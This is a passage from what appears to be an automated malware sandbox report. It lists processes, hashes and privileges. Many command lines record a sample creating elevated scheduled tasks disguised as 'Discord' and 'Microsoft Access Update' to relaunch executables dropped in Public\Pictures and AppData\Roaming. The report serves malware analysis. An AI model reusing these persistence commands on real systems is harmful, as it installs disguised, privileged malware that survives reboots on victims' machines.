                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                                                                                                                                                                          Imagebase:0x7ff748080000
                                                                                                                                                                          File size:235'008 bytes
                                                                                                                                                                          MD5 hash:796B784E98008854C27F4B18D287BA30
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Reputation:moderate
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:12
                                                                                                                                                                          Start time:02:25:30
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:"CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "Microsoft Access Update" /tr "C:\Users\user\AppData\Roaming\xdwdpnsvr.exe" /RL HIGHEST & exit
                                                                                                                                                                          Imagebase:0x7ff78c890000
                                                                                                                                                                          File size:289'792 bytes
                                                                                                                                                                          MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Reputation:high
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:13
                                                                                                                                                                          Start time:02:25:30
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                          Imagebase:0x7ff7eeb80000
                                                                                                                                                                          File size:875'008 bytes
                                                                                                                                                                          MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Reputation:high
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:14
                                                                                                                                                                          Start time:02:25:30
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\schtasks.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:SchTaSKs /create /f /sc minute /mo 5 /tn "Microsoft Access Update" /tr "C:\Users\user\AppData\Roaming\xdwdpnsvr.exe" /RL HIGHEST
                                                                                                                                                                          Imagebase:0x7ff748080000
                                                                                                                                                                          File size:235'008 bytes
                                                                                                                                                                          MD5 hash:796B784E98008854C27F4B18D287BA30
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:15
                                                                                                                                                                          Start time:02:25:32
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Users\user\AppData\Roaming\xdwdpnsvr.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:C:\Users\user\AppData\Roaming\xdwdpnsvr.exe
                                                                                                                                                                          Imagebase:0x7c0000
                                                                                                                                                                          File size:785'404'928 bytes
                                                                                                                                                                          MD5 hash:D9E10C024C63855DC6ABCED6584521E4
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:16
                                                                                                                                                                          Start time:02:25:33
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                                                                                                                                                                          Imagebase:0x7ff78c890000
                                                                                                                                                                          File size:289'792 bytes
                                                                                                                                                                          MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:17
                                                                                                                                                                          Start time:02:25:33
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                          Imagebase:0x7ff7eeb80000
                                                                                                                                                                          File size:875'008 bytes
                                                                                                                                                                          MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:18
                                                                                                                                                                          Start time:02:25:33
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\schtasks.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                                                                                                                                                                          Imagebase:0x7ff748080000
                                                                                                                                                                          File size:235'008 bytes
                                                                                                                                                                          MD5 hash:796B784E98008854C27F4B18D287BA30
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:19
                                                                                                                                                                          Start time:02:25:34
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                                                                                                                                                                          Imagebase:0x7ff78c890000
                                                                                                                                                                          File size:289'792 bytes
                                                                                                                                                                          MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:20
                                                                                                                                                                          Start time:02:25:34
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                          Imagebase:0x7ff7eeb80000
                                                                                                                                                                          File size:875'008 bytes
                                                                                                                                                                          MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:21
                                                                                                                                                                          Start time:02:25:34
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\schtasks.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                                                                                                                                                                          Imagebase:0x7ff748080000
                                                                                                                                                                          File size:235'008 bytes
                                                                                                                                                                          MD5 hash:796B784E98008854C27F4B18D287BA30
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:22
                                                                                                                                                                          Start time:02:25:36
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                                                                                                                                                                          Imagebase:0x7ff78c890000
                                                                                                                                                                          File size:289'792 bytes
                                                                                                                                                                          MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:23
                                                                                                                                                                          Start time:02:25:36
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                          Imagebase:0x7ff7eeb80000
                                                                                                                                                                          File size:875'008 bytes
                                                                                                                                                                          MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:24
                                                                                                                                                                          Start time:02:25:36
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\schtasks.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                                                                                                                                                                          Imagebase:0x7ff748080000
                                                                                                                                                                          File size:235'008 bytes
                                                                                                                                                                          MD5 hash:796B784E98008854C27F4B18D287BA30
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:25
                                                                                                                                                                          Start time:02:25:38
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Users\Public\Pictures\xdwdUpdate.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:"C:\Users\Public\Pictures\xdwdUpdate.exe"
                                                                                                                                                                          Imagebase:0x680000
                                                                                                                                                                          File size:738'219'008 bytes
                                                                                                                                                                          MD5 hash:33DA7ED1E2C973375F265DAAA763EA08
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:26
                                                                                                                                                                          Start time:02:25:39
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                                                                                                                                                                          Imagebase:0x7ff78c890000
                                                                                                                                                                          File size:289'792 bytes
                                                                                                                                                                          MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:27
                                                                                                                                                                          Start time:02:25:39
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                          Imagebase:0x7ff7eeb80000
                                                                                                                                                                          File size:875'008 bytes
                                                                                                                                                                          MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:28
                                                                                                                                                                          Start time:02:25:39
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\schtasks.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                                                                                                                                                                          Imagebase:0x7ff748080000
                                                                                                                                                                          File size:235'008 bytes
                                                                                                                                                                          MD5 hash:796B784E98008854C27F4B18D287BA30
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:29
                                                                                                                                                                          Start time:02:25:40
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                                                                                                                                                                          Imagebase:0x7ff78c890000
                                                                                                                                                                          File size:289'792 bytes
                                                                                                                                                                          MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:30
                                                                                                                                                                          Start time:02:25:40
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                          Imagebase:0x7ff7eeb80000
                                                                                                                                                                          File size:875'008 bytes
                                                                                                                                                                          MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:31
                                                                                                                                                                          Start time:02:25:40
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\schtasks.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                                                                                                                                                                          Imagebase:0x7ff748080000
                                                                                                                                                                          File size:235'008 bytes
                                                                                                                                                                          MD5 hash:796B784E98008854C27F4B18D287BA30
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:32
                                                                                                                                                                          Start time:02:25:43
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Users\user\AppData\Roaming\xdwdpnsvr.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:"C:\Users\user\AppData\Roaming\xdwdpnsvr.exe"
                                                                                                                                                                          Imagebase:0xd0000
                                                                                                                                                                          File size:785'404'928 bytes
                                                                                                                                                                          MD5 hash:D9E10C024C63855DC6ABCED6584521E4
                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:33
                                                                                                                                                                          Start time:02:25:42
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                                                                                                                                                                          Imagebase:0x7ff78c890000
                                                                                                                                                                          File size:289'792 bytes
                                                                                                                                                                          MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:34
                                                                                                                                                                          Start time:02:25:42
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                          Imagebase:0x7ff7eeb80000
                                                                                                                                                                          File size:875'008 bytes
                                                                                                                                                                          MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:35
                                                                                                                                                                          Start time:02:25:42
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\schtasks.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                                                                                                                                                                          Imagebase:0x7ff748080000
                                                                                                                                                                          File size:235'008 bytes
                                                                                                                                                                          MD5 hash:796B784E98008854C27F4B18D287BA30
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:36
                                                                                                                                                                          Start time:02:25:43
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                                                                                                                                                                          Imagebase:0x7ff78c890000
                                                                                                                                                                          File size:289'792 bytes
                                                                                                                                                                          MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:37
                                                                                                                                                                          Start time:02:25:43
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                          Imagebase:0x7ff7eeb80000
                                                                                                                                                                          File size:875'008 bytes
                                                                                                                                                                          MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:38
                                                                                                                                                                          Start time:02:25:43
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\schtasks.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                                                                                                                                                                          Imagebase:0x7ff748080000
                                                                                                                                                                          File size:235'008 bytes
                                                                                                                                                                          MD5 hash:796B784E98008854C27F4B18D287BA30
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:39
                                                                                                                                                                          Start time:02:25:44
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:"CMD" /c scHTaSks /Run /I /TN "Microsoft Skype"
                                                                                                                                                                          Imagebase:0x7ff78c890000
                                                                                                                                                                          File size:289'792 bytes
                                                                                                                                                                          MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:40
                                                                                                                                                                          Start time:02:25:44
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                          Imagebase:0x7ff7eeb80000
                                                                                                                                                                          File size:875'008 bytes
                                                                                                                                                                          MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:41
                                                                                                                                                                          Start time:02:25:44
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\schtasks.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:scHTaSks /Run /I /TN "Microsoft Skype"
                                                                                                                                                                          Imagebase:0x7ff748080000
                                                                                                                                                                          File size:235'008 bytes
                                                                                                                                                                          MD5 hash:796B784E98008854C27F4B18D287BA30
                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:42
                                                                                                                                                                          Start time:02:25:46
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Users\Public\Pictures\xdwdUpdate.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:C:\Users\Public\Pictures\xdwdUpdate.exe
                                                                                                                                                                          Imagebase:0xf00000
                                                                                                                                                                          File size:738'219'008 bytes
                                                                                                                                                                          MD5 hash:33DA7ED1E2C973375F265DAAA763EA08
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:43
                                                                                                                                                                          Start time:02:25:45
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                                                                                                                                                                          Imagebase:0x7ff78c890000
                                                                                                                                                                          File size:289'792 bytes
                                                                                                                                                                          MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:44
                                                                                                                                                                          Start time:02:25:46
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                          Imagebase:0x7ff7eeb80000
                                                                                                                                                                          File size:875'008 bytes
                                                                                                                                                                          MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:45
                                                                                                                                                                          Start time:02:25:46
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\schtasks.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                                                                                                                                                                          Imagebase:0x7ff748080000
                                                                                                                                                                          File size:235'008 bytes
                                                                                                                                                                          MD5 hash:796B784E98008854C27F4B18D287BA30
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:46
                                                                                                                                                                          Start time:02:25:47
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                                                                                                                                                                          Imagebase:0x7ff78c890000
                                                                                                                                                                          File size:289'792 bytes
                                                                                                                                                                          MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:47
                                                                                                                                                                          Start time:02:25:47
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                          Imagebase:0x7ff7eeb80000
                                                                                                                                                                          File size:875'008 bytes
                                                                                                                                                                          MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:48
                                                                                                                                                                          Start time:02:25:47
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\schtasks.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST
                                                                                                                                                                          Imagebase:0x7ff748080000
                                                                                                                                                                          File size:235'008 bytes
                                                                                                                                                                          MD5 hash:796B784E98008854C27F4B18D287BA30
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:49
                                                                                                                                                                          Start time:02:25:49
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:"CMD" /c SchTaSKs /create /f /sc minute /mo -1 /tn "Discord" /tr "C:\Users\Public\Pictures\xdwdUpdate.exe" /RL HIGHEST & exit
                                                                                                                                                                          Imagebase:0x7ff78c890000
                                                                                                                                                                          File size:289'792 bytes
                                                                                                                                                                          MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                          Has elevated privileges:true
                                                                                                                                                                          Has administrator privileges:true
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          General

                                                                                                                                                                          Target ID:50
                                                                                                                                                                          Start time:02:25:49
                                                                                                                                                                          Start date:13/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                          Imagebase:0x7ff7eeb80000
